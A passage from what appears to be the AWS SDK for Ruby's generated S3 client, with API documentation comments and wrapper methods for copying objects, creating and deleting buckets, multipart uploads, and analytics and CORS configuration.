# @option params [String] :grant_read
# Allows grantee to read the object data and its metadata.
#
# @option params [String] :grant_read_acp
# Allows grantee to read the object ACL.
#
# @option params [String] :grant_write_acp
# Allows grantee to write the ACL for the applicable object.
#
# @option params [required, String] :key
# The key of the destination object.
#
# @option params [Hash<String,String>] :metadata
# A map of metadata to store with the object in S3.
#
# @option params [String] :metadata_directive
# Specifies whether the metadata is copied from the source object or
# replaced with metadata provided in the request.
#
# @option params [String] :tagging_directive
# Specifies whether the object tag-set are copied from the source object
# or replaced with tag-set provided in the request.
#
# @option params [String] :server_side_encryption
# The server-side encryption algorithm used when storing this object in
# Amazon S3 (for example, AES256, aws:kms).
#
# @option params [String] :storage_class
# The type of storage to use for the object. Defaults to 'STANDARD'.
#
# @option params [String] :website_redirect_location
# If the bucket is configured as a website, redirects requests for this
# object to another object in the same bucket or to an external URL.
# Amazon S3 stores the value of this header in the object metadata.
#
# @option params [String] :sse_customer_algorithm
# Specifies the algorithm to use to when encrypting the object (for
# example, AES256).
#
# @option params [String] :sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use in
# encrypting data. This value is used to store the object and then it is
# discarded; Amazon S3 does not store the encryption key. The key must
# be appropriate for use with the algorithm specified in the
# `x-amz-server-side-encryption-customer-algorithm` header.
#
# @option params [String] :sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :ssekms_key_id
# Specifies the AWS KMS key ID to use for object encryption. All GET and
# PUT requests for an object protected by AWS KMS will fail if not made
# via SSL or using SigV4. For information about configuring using any of
# the officially supported AWS SDKs and AWS CLI, see [Specifying the
# Signature Version in Request Authentication][1] in the *Amazon S3
# Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingAWSSDK.html#specify-signature-version
#
# @option params [String] :ssekms_encryption_context
# Specifies the AWS KMS Encryption Context to use for object encryption.
# The value of this header is a base64-encoded UTF-8 string holding JSON
# with the encryption context key-value pairs.
#
# @option params [String] :copy_source_sse_customer_algorithm
# Specifies the algorithm to use when decrypting the source object (for
# example, AES256).
#
# @option params [String] :copy_source_sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use to
# decrypt the source object. The encryption key provided in this header
# must be one that was used when the source object was created.
#
# @option params [String] :copy_source_sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [String] :tagging
# The tag-set for the object destination object this value must be used
# in conjunction with the `TaggingDirective`. The tag-set must be
# encoded as URL Query parameters.
#
# @option params [String] :object_lock_mode
# The Object Lock mode that you want to apply to the copied object.
#
# @option params [Time,DateTime,Date,Integer,String] :object_lock_retain_until_date
# The date and time when you want the copied object's Object Lock to
# expire.
#
# @option params [String] :object_lock_legal_hold_status
# Specifies whether you want to apply a Legal Hold to the copied object.
#
# @return [Types::CopyObjectOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CopyObjectOutput#copy_object_result #copy_object_result} => Types::CopyObjectResult
# * {Types::CopyObjectOutput#expiration #expiration} => String
# * {Types::CopyObjectOutput#copy_source_version_id #copy_source_version_id} => String
# * {Types::CopyObjectOutput#version_id #version_id} => String
# * {Types::CopyObjectOutput#server_side_encryption #server_side_encryption} => String
# * {Types::CopyObjectOutput#sse_customer_algorithm #sse_customer_algorithm} => String
# * {Types::CopyObjectOutput#sse_customer_key_md5 #sse_customer_key_md5} => String
# * {Types::CopyObjectOutput#ssekms_key_id #ssekms_key_id} => String
# * {Types::CopyObjectOutput#ssekms_encryption_context #ssekms_encryption_context} => String
# * {Types::CopyObjectOutput#request_charged #request_charged} => String
#
#
# @example Example: To copy an object
#
# # The following example copies an object from one bucket to another.
#
# resp = client.copy_object({
# bucket: "destinationbucket",
# copy_source: "/sourcebucket/HappyFacejpg",
# key: "HappyFaceCopyjpg",
# })
#
# resp.to_h outputs the following:
# {
# copy_object_result: {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# last_modified: Time.parse("2016-12-15T17:38:53.000Z"),
# },
# }
#
# @example Request syntax with placeholder values
#
# resp = client.copy_object({
# acl: "private", # accepts private, public-read, public-read-write, authenticated-read, aws-exec-read, bucket-owner-read, bucket-owner-full-control
# bucket: "BucketName", # required
# cache_control: "CacheControl",
# content_disposition: "ContentDisposition",
# content_encoding: "ContentEncoding",
# content_language: "ContentLanguage",
# content_type: "ContentType",
# copy_source: "CopySource", # required
# copy_source_if_match: "CopySourceIfMatch",
# copy_source_if_modified_since: Time.now,
# copy_source_if_none_match: "CopySourceIfNoneMatch",
# copy_source_if_unmodified_since: Time.now,
# expires: Time.now,
# grant_full_control: "GrantFullControl",
# grant_read: "GrantRead",
# grant_read_acp: "GrantReadACP",
# grant_write_acp: "GrantWriteACP",
# key: "ObjectKey", # required
# metadata: {
# "MetadataKey" => "MetadataValue",
# },
# metadata_directive: "COPY", # accepts COPY, REPLACE
# tagging_directive: "COPY", # accepts COPY, REPLACE
# server_side_encryption: "AES256", # accepts AES256, aws:kms
# storage_class: "STANDARD", # accepts STANDARD, REDUCED_REDUNDANCY, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, GLACIER, DEEP_ARCHIVE
# website_redirect_location: "WebsiteRedirectLocation",
# sse_customer_algorithm: "SSECustomerAlgorithm",
# sse_customer_key: "SSECustomerKey",
# sse_customer_key_md5: "SSECustomerKeyMD5",
# ssekms_key_id: "SSEKMSKeyId",
# ssekms_encryption_context: "SSEKMSEncryptionContext",
# copy_source_sse_customer_algorithm: "CopySourceSSECustomerAlgorithm",
# copy_source_sse_customer_key: "CopySourceSSECustomerKey",
# copy_source_sse_customer_key_md5: "CopySourceSSECustomerKeyMD5",
# request_payer: "requester", # accepts requester
# tagging: "TaggingHeader",
# object_lock_mode: "GOVERNANCE", # accepts GOVERNANCE, COMPLIANCE
# object_lock_retain_until_date: Time.now,
# object_lock_legal_hold_status: "ON", # accepts ON, OFF
# })
#
# @example Response structure
#
# resp.copy_object_result.etag #=> String
# resp.copy_object_result.last_modified #=> Time
# resp.expiration #=> String
# resp.copy_source_version_id #=> String
# resp.version_id #=> String
# resp.server_side_encryption #=> String, one of "AES256", "aws:kms"
# resp.sse_customer_algorithm #=> String
# resp.sse_customer_key_md5 #=> String
# resp.ssekms_key_id #=> String
# resp.ssekms_encryption_context #=> String
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CopyObject AWS API Documentation
#
# @overload copy_object(params = {})
# @param [Hash] params ({})
def copy_object(params = {}, options = {})
req = build_request(:copy_object, params)
req.send_request(options)
end
# Creates a new bucket. To create a bucket, you must register with
# Amazon S3 and have a valid AWS Access Key ID to authenticate requests.
# Anonymous requests are never allowed to create buckets. By creating
# the bucket, you become the bucket owner.
#
# Not every string is an acceptable bucket name. For information on
# bucket naming restrictions, see [Working with Amazon S3 Buckets][1].
#
# By default, the bucket is created in the US East (N. Virginia) Region.
# You can optionally specify a Region in the request body. You might
# choose a Region to optimize latency, minimize costs, or address
# regulatory requirements. For example, if you reside in Europe, you
# will probably find it advantageous to create buckets in the Europe
# (Ireland) Region. For more information, see [How to Select a Region
# for Your Buckets][2].
#
# <note markdown="1"> If you send your create bucket request to the `s3.amazonaws.com`
# endpoint, the request goes to the us-east-1 Region. Accordingly, the
# signature calculations in Signature Version 4 must use us-east-1 as
# the Region, even if the location constraint in the request specifies
# another Region where the bucket is to be created. If you create a
# bucket in a Region other than US East (N. Virginia), your application
# must be able to handle 307 redirect. For more information, see
# [Virtual Hosting of Buckets][3].
#
# </note>
#
# When creating a bucket using this operation, you can optionally
# specify the accounts or groups that should be granted specific
# permissions on the bucket. There are two ways to grant the appropriate
# permissions using the request headers.
#
# * Specify a canned ACL using the `x-amz-acl` request header. Amazon S3
# supports a set of predefined ACLs, known as *canned ACLs*. Each
# canned ACL has a predefined set of grantees and permissions. For
# more information, see [Canned ACL][4].
#
# * Specify access permissions explicitly using the `x-amz-grant-read`,
# `x-amz-grant-write`, `x-amz-grant-read-acp`,
# `x-amz-grant-write-acp`, and `x-amz-grant-full-control` headers.
# These headers map to the set of permissions Amazon S3 supports in an
# ACL. For more information, see [Access Control List (ACL)
# Overview][5].
#
# You specify each grantee as a type=value pair, where the type is one
# of the following:
#
# * `id` – if the value specified is the canonical user ID of an AWS
# account
#
# * `uri` – if you are granting permissions to a predefined group
#
# * `emailAddress` – if the value specified is the email address of an
# AWS account
#
# <note markdown="1"> Using email addresses to specify a grantee is only supported in
# the following AWS Regions:
#
# * US East (N. Virginia)
#
# * US West (N. California)
#
# * US West (Oregon)
#
# * Asia Pacific (Singapore)
#
# * Asia Pacific (Sydney)
#
# * Asia Pacific (Tokyo)
#
# * Europe (Ireland)
#
# * South America (São Paulo)
#
# For a list of all the Amazon S3 supported Regions and endpoints,
# see [Regions and Endpoints][6] in the AWS General Reference.
#
# </note>
#
# For example, the following `x-amz-grant-read` header grants the AWS
# accounts identified by account IDs permissions to read object data
# and its metadata:
#
# `x-amz-grant-read: id="11112222333", id="444455556666" `
#
# <note markdown="1"> You can use either a canned ACL or specify access permissions
# explicitly. You cannot do both.
#
# </note>
#
# The following operations are related to `CreateBucket`\:
#
# * PutObject
#
# * DeleteBucket
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html#access-bucket-intro
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/VirtualHosting.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#CannedACL
# [5]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html
# [6]: https://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region
#
# @option params [String] :acl
# The canned ACL to apply to the bucket.
#
# @option params [required, String] :bucket
# The name of the bucket to create.
#
# @option params [Types::CreateBucketConfiguration] :create_bucket_configuration
# The configuration information for the bucket.
#
# @option params [String] :grant_full_control
# Allows grantee the read, write, read ACP, and write ACP permissions on
# the bucket.
#
# @option params [String] :grant_read
# Allows grantee to list the objects in the bucket.
#
# @option params [String] :grant_read_acp
# Allows grantee to read the bucket ACL.
#
# @option params [String] :grant_write
# Allows grantee to create, overwrite, and delete any object in the
# bucket.
#
# @option params [String] :grant_write_acp
# Allows grantee to write the ACL for the applicable bucket.
#
# @option params [Boolean] :object_lock_enabled_for_bucket
# Specifies whether you want S3 Object Lock to be enabled for the new
# bucket.
#
# @return [Types::CreateBucketOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateBucketOutput#location #location} => String
#
#
# @example Example: To create a bucket
#
# # The following example creates a bucket.
#
# resp = client.create_bucket({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# location: "/examplebucket",
# }
#
# @example Example: To create a bucket in a specific region
#
# # The following example creates a bucket. The request specifies an AWS region where to create the bucket.
#
# resp = client.create_bucket({
# bucket: "examplebucket",
# create_bucket_configuration: {
# location_constraint: "eu-west-1",
# },
# })
#
# resp.to_h outputs the following:
# {
# location: "http://examplebucket.<Region>.s3.amazonaws.com/",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.create_bucket({
# acl: "private", # accepts private, public-read, public-read-write, authenticated-read
# bucket: "BucketName", # required
# create_bucket_configuration: {
# location_constraint: "EU", # accepts EU, eu-west-1, us-west-1, us-west-2, ap-south-1, ap-southeast-1, ap-southeast-2, ap-northeast-1, sa-east-1, cn-north-1, eu-central-1
# },
# grant_full_control: "GrantFullControl",
# grant_read: "GrantRead",
# grant_read_acp: "GrantReadACP",
# grant_write: "GrantWrite",
# grant_write_acp: "GrantWriteACP",
# object_lock_enabled_for_bucket: false,
# })
#
# @example Response structure
#
# resp.location #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CreateBucket AWS API Documentation
#
# @overload create_bucket(params = {})
# @param [Hash] params ({})
def create_bucket(params = {}, options = {})
req = build_request(:create_bucket, params)
req.send_request(options)
end
# This operation initiates a multipart upload and returns an upload ID.
# This upload ID is used to associate all of the parts in the specific
# multipart upload. You specify this upload ID in each of your
# subsequent upload part requests (see UploadPart). You also include
# this upload ID in the final request to either complete or abort the
# multipart upload request.
#
# For more information about multipart uploads, see [Multipart Upload
# Overview][1].
#
# If you have configured a lifecycle rule to abort incomplete multipart
# uploads, the upload must complete within the number of days specified
# in the bucket lifecycle configuration. Otherwise, the incomplete
# multipart upload becomes eligible for an abort operation and Amazon S3
# aborts the multipart upload. For more information, see [Aborting
# Incomplete Multipart Uploads Using a Bucket Lifecycle Policy][2].
#
# For information about the permissions required to use the multipart
# upload API, see [Multipart Upload API and Permissions][3].
#
# For request signing, multipart upload is just a series of regular
# requests. You initiate a multipart upload, send one or more requests
# to upload parts, and then complete the multipart upload process. You
# sign each request individually. There is nothing special about signing
# multipart upload requests. For more information about signing, see
# [Authenticating Requests (AWS Signature Version 4)][4].
#
# <note markdown="1"> After you initiate a multipart upload and upload one or more parts, to
# stop being charged for storing the uploaded parts, you must either
# complete or abort the multipart upload. Amazon S3 frees up the space
# used to store the parts and stop charging you for storing them only
# after you either complete or abort a multipart upload.
#
# </note>
#
# You can optionally request server-side encryption. For server-side
# encryption, Amazon S3 encrypts your data as it writes it to disks in
# its data centers and decrypts it when you access it. You can provide
# your own encryption key, or use AWS Key Management Service (AWS KMS)
# customer master keys (CMKs) or Amazon S3-managed encryption keys. If
# you choose to provide your own encryption key, the request headers you
# provide in UploadPart) and UploadPartCopy) requests must match the
# headers you used in the request to initiate the upload by using
# `CreateMultipartUpload`.
#
# To perform a multipart upload with encryption using an AWS KMS CMK,
# the requester must have permission to the `kms:Encrypt`,
# `kms:Decrypt`, `kms:ReEncrypt*`, `kms:GenerateDataKey*`, and
# `kms:DescribeKey` actions on the key. These permissions are required
# because Amazon S3 must decrypt and read data from the encrypted file
# parts before it completes the multipart upload.
#
# If your AWS Identity and Access Management (IAM) user or role is in
# the same AWS account as the AWS KMS CMK, then you must have these
# permissions on the key policy. If your IAM user or role belongs to a
# different account than the key, then you must have the permissions on
# both the key policy and your IAM user or role.
#
# For more information, see [Protecting Data Using Server-Side
# Encryption][5].
#
# Access Permissions
#
# : When copying an object, you can optionally specify the accounts or
# groups that should be granted specific permissions on the new
# object. There are two ways to grant the permissions using the
# request headers:
#
# * Specify a canned ACL with the `x-amz-acl` request header. For more
# information, see [Canned ACL][6].
#
# * Specify access permissions explicitly with the `x-amz-grant-read`,
# `x-amz-grant-read-acp`, `x-amz-grant-write-acp`, and
# `x-amz-grant-full-control` headers. These parameters map to the
# set of permissions that Amazon S3 supports in an ACL. For more
# information, see [Access Control List (ACL) Overview][7].
#
# You can use either a canned ACL or specify access permissions
# explicitly. You cannot do both.
#
# Server-Side- Encryption-Specific Request Headers
#
# : You can optionally tell Amazon S3 to encrypt data at rest using
# server-side encryption. Server-side encryption is for data
# encryption at rest. Amazon S3 encrypts your data as it writes it to
# disks in its data centers and decrypts it when you access it. The
# option you use depends on whether you want to use AWS managed
# encryption keys or provide your own encryption key.
#
# * Use encryption keys managed by Amazon S3 or customer master keys
# (CMKs) stored in AWS Key Management Service (AWS KMS) – If you
# want AWS to manage the keys used to encrypt data, specify the
# following headers in the request.
#
# * x-amz-server-side-encryption
#
# * x-amz-server-side-encryption-aws-kms-key-id
#
# * x-amz-server-side-encryption-context
#
# <note markdown="1"> If you specify `x-amz-server-side-encryption:aws:kms`, but don't
# provide `x-amz-server-side-encryption-aws-kms-key-id`, Amazon S3
# uses the AWS managed CMK in AWS KMS to protect the data.
#
# </note>
#
# All GET and PUT requests for an object protected by AWS KMS fail
# if you don't make them with SSL or by using SigV4.
#
# For more information about server-side encryption with CMKs stored
# in AWS KMS (SSE-KMS), see [Protecting Data Using Server-Side
# Encryption with CMKs stored in AWS KMS][8].
#
# * Use customer-provided encryption keys – If you want to manage your
# own encryption keys, provide all the following headers in the
# request.
#
# * x-amz-server-side-encryption-customer-algorithm
#
# * x-amz-server-side-encryption-customer-key
#
# * x-amz-server-side-encryption-customer-key-MD5
#
# For more information about server-side encryption with CMKs stored
# in AWS KMS (SSE-KMS), see [Protecting Data Using Server-Side
# Encryption with CMKs stored in AWS KMS][8].
#
# Access-Control-List (ACL)-Specific Request Headers
#
# : You also can use the following access control–related headers with
# this operation. By default, all objects are private. Only the owner
# has full access control. When adding a new object, you can grant
# permissions to individual AWS accounts or to predefined groups
# defined by Amazon S3. These permissions are then added to the access
# control list (ACL) on the object. For more information, see [Using
# ACLs][9]. With this operation, you can grant access permissions
# using one of the following two methods:
#
# * Specify a canned ACL (`x-amz-acl`) — Amazon S3 supports a set of
# predefined ACLs, known as *canned ACLs*. Each canned ACL has a
# predefined set of grantees and permissions. For more information,
# see [Canned ACL][6].
#
# * Specify access permissions explicitly — To explicitly grant access
# permissions to specific AWS accounts or groups, use the following
# headers. Each header maps to specific permissions that Amazon S3
# supports in an ACL. For more information, see [Access Control List
# (ACL) Overview][7]. In the header, you specify a list of grantees
# who get the specific permission. To grant permissions explicitly,
# use:
#
# * x-amz-grant-read
#
# * x-amz-grant-write
#
# * x-amz-grant-read-acp
#
# * x-amz-grant-write-acp
#
# * x-amz-grant-full-control
#
# You specify each grantee as a type=value pair, where the type is
# one of the following:
#
# * `id` – if the value specified is the canonical user ID of an AWS
# account
#
# * `uri` – if you are granting permissions to a predefined group
#
# * `emailAddress` – if the value specified is the email address of
# an AWS account
#
# <note markdown="1"> Using email addresses to specify a grantee is only supported in
# the following AWS Regions:
#
# * US East (N. Virginia)
#
# * US West (N. California)
#
# * US West (Oregon)
#
# * Asia Pacific (Singapore)
#
# * Asia Pacific (Sydney)
#
# * Asia Pacific (Tokyo)
#
# * Europe (Ireland)
#
# * South America (São Paulo)
#
# For a list of all the Amazon S3 supported Regions and endpoints,
# see [Regions and Endpoints][10] in the AWS General Reference.
#
# </note>
#
# For example, the following `x-amz-grant-read` header grants the
# AWS accounts identified by account IDs permissions to read object
# data and its metadata:
#
# `x-amz-grant-read: id="11112222333", id="444455556666" `
#
# The following operations are related to `CreateMultipartUpload`\:
#
# * UploadPart
#
# * CompleteMultipartUpload
#
# * AbortMultipartUpload
#
# * ListParts
#
# * ListMultipartUploads
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuoverview.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuoverview.html#mpu-abort-incomplete-mpu-lifecycle-config
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuAndPermissions.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html
# [5]: https://docs.aws.amazon.com/AmazonS3/latest/dev/serv-side-encryption.html
# [6]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#CannedACL
# [7]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html
# [8]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingKMSEncryption.html
# [9]: https://docs.aws.amazon.com/AmazonS3/latest/dev/S3_ACLs_UsingACLs.html
# [10]: https://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region
#
# @option params [String] :acl
# The canned ACL to apply to the object.
#
# @option params [required, String] :bucket
# The name of the bucket to which to initiate the upload
#
# @option params [String] :cache_control
# Specifies caching behavior along the request/reply chain.
#
# @option params [String] :content_disposition
# Specifies presentational information for the object.
#
# @option params [String] :content_encoding
# Specifies what content encodings have been applied to the object and
# thus what decoding mechanisms must be applied to obtain the media-type
# referenced by the Content-Type header field.
#
# @option params [String] :content_language
# The language the content is in.
#
# @option params [String] :content_type
# A standard MIME type describing the format of the object data.
#
# @option params [Time,DateTime,Date,Integer,String] :expires
# The date and time at which the object is no longer cacheable.
#
# @option params [String] :grant_full_control
# Gives the grantee READ, READ\_ACP, and WRITE\_ACP permissions on the
# object.
#
# @option params [String] :grant_read
# Allows grantee to read the object data and its metadata.
#
# @option params [String] :grant_read_acp
# Allows grantee to read the object ACL.
#
# @option params [String] :grant_write_acp
# Allows grantee to write the ACL for the applicable object.
#
# @option params [required, String] :key
# Object key for which the multipart upload is to be initiated.
#
# @option params [Hash<String,String>] :metadata
# A map of metadata to store with the object in S3.
#
# @option params [String] :server_side_encryption
# The server-side encryption algorithm used when storing this object in
# Amazon S3 (for example, AES256, aws:kms).
#
# @option params [String] :storage_class
# The type of storage to use for the object. Defaults to 'STANDARD'.
#
# @option params [String] :website_redirect_location
# If the bucket is configured as a website, redirects requests for this
# object to another object in the same bucket or to an external URL.
# Amazon S3 stores the value of this header in the object metadata.
#
# @option params [String] :sse_customer_algorithm
# Specifies the algorithm to use to when encrypting the object (for
# example, AES256).
#
# @option params [String] :sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use in
# encrypting data. This value is used to store the object and then it is
# discarded; Amazon S3 does not store the encryption key. The key must
# be appropriate for use with the algorithm specified in the
# `x-amz-server-side-encryption-customer-algorithm` header.
#
# @option params [String] :sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :ssekms_key_id
# Specifies the ID of the symmetric customer managed AWS KMS CMK to use
# for object encryption. All GET and PUT requests for an object
# protected by AWS KMS will fail if not made via SSL or using SigV4. For
# information about configuring using any of the officially supported
# AWS SDKs and AWS CLI, see [Specifying the Signature Version in Request
# Authentication][1] in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/http:/docs.aws.amazon.com/AmazonS3/latest/dev/UsingAWSSDK.html#specify-signature-version
#
# @option params [String] :ssekms_encryption_context
# Specifies the AWS KMS Encryption Context to use for object encryption.
# The value of this header is a base64-encoded UTF-8 string holding JSON
# with the encryption context key-value pairs.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [String] :tagging
# The tag-set for the object. The tag-set must be encoded as URL Query
# parameters.
#
# @option params [String] :object_lock_mode
# Specifies the Object Lock mode that you want to apply to the uploaded
# object.
#
# @option params [Time,DateTime,Date,Integer,String] :object_lock_retain_until_date
# Specifies the date and time when you want the Object Lock to expire.
#
# @option params [String] :object_lock_legal_hold_status
# Specifies whether you want to apply a Legal Hold to the uploaded
# object.
#
# @return [Types::CreateMultipartUploadOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateMultipartUploadOutput#abort_date #abort_date} => Time
# * {Types::CreateMultipartUploadOutput#abort_rule_id #abort_rule_id} => String
# * {Types::CreateMultipartUploadOutput#bucket #bucket} => String
# * {Types::CreateMultipartUploadOutput#key #key} => String
# * {Types::CreateMultipartUploadOutput#upload_id #upload_id} => String
# * {Types::CreateMultipartUploadOutput#server_side_encryption #server_side_encryption} => String
# * {Types::CreateMultipartUploadOutput#sse_customer_algorithm #sse_customer_algorithm} => String
# * {Types::CreateMultipartUploadOutput#sse_customer_key_md5 #sse_customer_key_md5} => String
# * {Types::CreateMultipartUploadOutput#ssekms_key_id #ssekms_key_id} => String
# * {Types::CreateMultipartUploadOutput#ssekms_encryption_context #ssekms_encryption_context} => String
# * {Types::CreateMultipartUploadOutput#request_charged #request_charged} => String
#
#
# @example Example: To initiate a multipart upload
#
# # The following example initiates a multipart upload.
#
# resp = client.create_multipart_upload({
# bucket: "examplebucket",
# key: "largeobject",
# })
#
# resp.to_h outputs the following:
# {
# bucket: "examplebucket",
# key: "largeobject",
# upload_id: "ibZBv_75gd9r8lH_gqXatLdxMVpAlj6ZQjEs.OwyF3953YdwbcQnMA2BLGn8Lx12fQNICtMw5KyteFeHw.Sjng--",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.create_multipart_upload({
# acl: "private", # accepts private, public-read, public-read-write, authenticated-read, aws-exec-read, bucket-owner-read, bucket-owner-full-control
# bucket: "BucketName", # required
# cache_control: "CacheControl",
# content_disposition: "ContentDisposition",
# content_encoding: "ContentEncoding",
# content_language: "ContentLanguage",
# content_type: "ContentType",
# expires: Time.now,
# grant_full_control: "GrantFullControl",
# grant_read: "GrantRead",
# grant_read_acp: "GrantReadACP",
# grant_write_acp: "GrantWriteACP",
# key: "ObjectKey", # required
# metadata: {
# "MetadataKey" => "MetadataValue",
# },
# server_side_encryption: "AES256", # accepts AES256, aws:kms
# storage_class: "STANDARD", # accepts STANDARD, REDUCED_REDUNDANCY, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, GLACIER, DEEP_ARCHIVE
# website_redirect_location: "WebsiteRedirectLocation",
# sse_customer_algorithm: "SSECustomerAlgorithm",
# sse_customer_key: "SSECustomerKey",
# sse_customer_key_md5: "SSECustomerKeyMD5",
# ssekms_key_id: "SSEKMSKeyId",
# ssekms_encryption_context: "SSEKMSEncryptionContext",
# request_payer: "requester", # accepts requester
# tagging: "TaggingHeader",
# object_lock_mode: "GOVERNANCE", # accepts GOVERNANCE, COMPLIANCE
# object_lock_retain_until_date: Time.now,
# object_lock_legal_hold_status: "ON", # accepts ON, OFF
# })
#
# @example Response structure
#
# resp.abort_date #=> Time
# resp.abort_rule_id #=> String
# resp.bucket #=> String
# resp.key #=> String
# resp.upload_id #=> String
# resp.server_side_encryption #=> String, one of "AES256", "aws:kms"
# resp.sse_customer_algorithm #=> String
# resp.sse_customer_key_md5 #=> String
# resp.ssekms_key_id #=> String
# resp.ssekms_encryption_context #=> String
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CreateMultipartUpload AWS API Documentation
#
# @overload create_multipart_upload(params = {})
# @param [Hash] params ({})
def create_multipart_upload(params = {}, options = {})
req = build_request(:create_multipart_upload, params)
req.send_request(options)
end
# Deletes the bucket. All objects (including all object versions and
# delete markers) in the bucket must be deleted before the bucket itself
# can be deleted.
#
# **Related Resources**
#
# *
# *
#
# @option params [required, String] :bucket
# Specifies the bucket being deleted.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To delete a bucket
#
# # The following example deletes the specified bucket.
#
# resp = client.delete_bucket({
# bucket: "forrandall2",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket({
# bucket: "BucketName", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucket AWS API Documentation
#
# @overload delete_bucket(params = {})
# @param [Hash] params ({})
def delete_bucket(params = {}, options = {})
req = build_request(:delete_bucket, params)
req.send_request(options)
end
# Deletes an analytics configuration for the bucket (specified by the
# analytics configuration ID).
#
# To use this operation, you must have permissions to perform the
# `s3:PutAnalyticsConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# For information about the Amazon S3 analytics feature, see [Amazon S3
# Analytics – Storage Class Analysis][3].
#
# The following operations are related to
# `DeleteBucketAnalyticsConfiguration`\:
#
# *
# *
# *
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/analytics-storage-class.html
#
# @option params [required, String] :bucket
# The name of the bucket from which an analytics configuration is
# deleted.
#
# @option params [required, String] :id
# The ID that identifies the analytics configuration.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_analytics_configuration({
# bucket: "BucketName", # required
# id: "AnalyticsId", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketAnalyticsConfiguration AWS API Documentation
#
# @overload delete_bucket_analytics_configuration(params = {})
# @param [Hash] params ({})
def delete_bucket_analytics_configuration(params = {}, options = {})
req = build_request(:delete_bucket_analytics_configuration, params)
req.send_request(options)
end
# Deletes the `cors` configuration information set for the bucket.
#
# To use this operation, you must have permission to perform the
# `s3:PutBucketCORS` action. The bucket owner has this permission by
# default and can grant this permission to others.
#
# For information about `cors`, see [Enabling Cross-Origin Resource
# Sharing][1] in the *Amazon Simple Storage Service Developer Guide*.
#
# **Related Resources:**
#
# *
# * RESTOPTIONSobject
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/cors.html
#
# @option params [required, String] :bucket
# Specifies the bucket whose `cors` configuration is being deleted.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To delete cors configuration on a bucket.
#
# # The following example deletes CORS configuration on a bucket.
#
# resp = client.delete_bucket_cors({
# bucket: "examplebucket",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_cors({
# bucket: "BucketName", # required
# })
#
